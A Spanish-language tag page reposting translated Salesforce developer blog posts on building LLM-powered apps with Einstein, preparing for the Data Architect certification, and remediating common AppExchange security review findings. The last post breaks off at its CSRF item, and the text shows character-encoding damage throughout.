Skip to content

Tag: Respuesta

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Preparaci贸n para el examen de arquitecto de datos certificado de Salesforce

Preparaci贸n para el examen de arquitecto de datos certificado de Salesforce

Ha estado en mi mente por un tiempo, ya que para m铆 esta certificaci贸n era la 煤ltima que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que tambi茅n tengo el certificado "opcional" de Experience Cloud).

Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro d铆a me hizo decir: 鈥淏ueno, tambi茅n puedo intentarlo; Ojal谩 se me quite de la cabeza de una vez por todas鈥. Aprender铆a de cualquier manera, 隆eso es seguro!

Y esto pas贸鈥

隆Uf!

Algunas personas se han acercado para preguntar sobre la preparaci贸n para el examen y la orientaci贸n, por eso escribo esto aqu铆 para tratar de ayudar a otros.

El contexto es clave

Cualquier certificaci贸n de examen que hago est谩 dentro de contexto, con eso me refiero a haber trabajado ya durante alg煤n tiempo en el producto en cuesti贸n.

"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un h谩bito." -Arist贸teles

As铆 es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria m谩s que de la experiencia. Y bueno, despu茅s de todo, soy un Scrum Master, 隆el empirismo existe!

"Salesforce recomienda encarecidamente una combinaci贸n de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". 鈥擟omienzo del sendero

Gu铆a de examen

La oraci贸n anterior proviene de la gu铆a del examen; sol铆a ser un PDF, pero ahora el contenido est谩 integrado en Trailhead.

La gu铆a del examen es SIEMPRE tu punto de partida, me sorprende cu谩nta gente no usa este recurso (隆algunos ni siquiera saben que existe! 隆驴C贸mo?!).

La gu铆a del examen est谩 dise帽ada para ayudarlo a evaluar SI est谩 listo para completar con 茅xito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrir谩n, y tambi茅n de lo que se espera de usted. Por ejemplo en este en particular:

La credencial de Arquitecto de datos certificado de Salesforce est谩 destinada al arquitecto que eval煤a el entorno y los requisitos de la arquitectura; y dise帽a soluciones s贸lidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto tambi茅n tendr谩 experiencia trabajando con lo siguiente:

  • Modelado de datos y dise帽o de bases de datos
  • Gesti贸n de datos maestros
  • Gesti贸n de datos de Salesforce
  • Dato de governancia
  • Consideraciones sobre grandes vol煤menes de datos
  • Migraci贸n de datos

El arquitecto tiene experiencia en comunicar soluciones y dise帽ar compensaciones a empresas y partes interesadas de TI.

Incluso tienes el esquema del examen donde puedes ampliar cada secci贸n (aqu铆 es donde est谩 lo bueno):

Recursos

驴Mencion茅 la gu铆a del examen?鈥 隆脷sala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

Literalmente cre茅 mi propio documento a partir de 茅l y desglos茅 cada elemento, defin铆 la l贸gica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escrib铆 este art铆culo disponible p煤blicamente para Pardot hace bastantes a帽os, solo para darle una idea.

Hablando de empirismo, en general, mi mejor recurso es… 隆una organizaci贸n de edici贸n para desarrolladores! 隆Donde pruebo todo y m谩s! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la gu铆a de certificados para cada elemento, define la l贸gica y luego juega con ella.

Algunos de los contenidos de este en particular pueden ser un poco m谩s complicados, como grandes vol煤menes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. Tambi茅n el a帽o pasado con el Sr. Agente Gill 馃槈

Aunque se escribi贸 hace bastante tiempo, este art铆culo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitir谩 revisar PK Chunking y Bulk API.

Siguiendo con m谩s contenido de la vieja escuela de "anta帽o", consulte la serie de Extreme Force.com, aqu铆 est谩 la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos

Probablemente tambi茅n sugerir铆a ignorar sus patrones de dise帽o de integraci贸n, lo que le ayudar谩 a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm

Hacer una combinaci贸n de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer m谩s me ayud贸 a mantenerme concentrado.

Consejos

Como sabe, no puedo darle ning煤n detalle, eso ser铆a una violaci贸n de los t茅rminos y condiciones del programa de certificaci贸n y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier informaci贸n expuesta del examen.

Lo que te puedo decir es que deber铆as revisar:

  • Cu谩ndo o cu谩ndo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opini贸n)
  • C贸mo mejorar la calidad de los datos en toda su pila tecnol贸gica
  • Cu谩ndo o cu谩ndo no utilizar Rollups
  • Qu茅 API usar cuando
  • C贸mo manejar grandes vol煤menes de datos (es decir, carga, rendimiento, exportaci贸n, cosas como compartir, bloqueos, etc.)
  • Cu谩ndo o cu谩ndo no utilizar relaciones maestro-detalle
  • Qu茅 tipo de integraci贸n usar y cu谩ndo
  • C贸mo capturar y gestionar metadatos
  • Cu谩ndo y cu谩ndo no utilizar objetos grandes y objetos externos
  • Gesti贸n de datos maestros
  • Gobernanza: cumplimiento y funcionalidad relacionada

Seguramente me he perdido algo, pero eso es lo m谩s importante en este momento. Consulte y trabaje con su gu铆a de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

驴Qu茅 est谩s haciendo?

Recuerde tambi茅n: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.

Ahora es tu turno: 驴Para qu茅 certificaci贸n est谩s trabajando? 驴Cu谩l es su enfoque?

隆Cu茅ntanos y etiqu茅tanos para que podamos celebrar contigo!

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

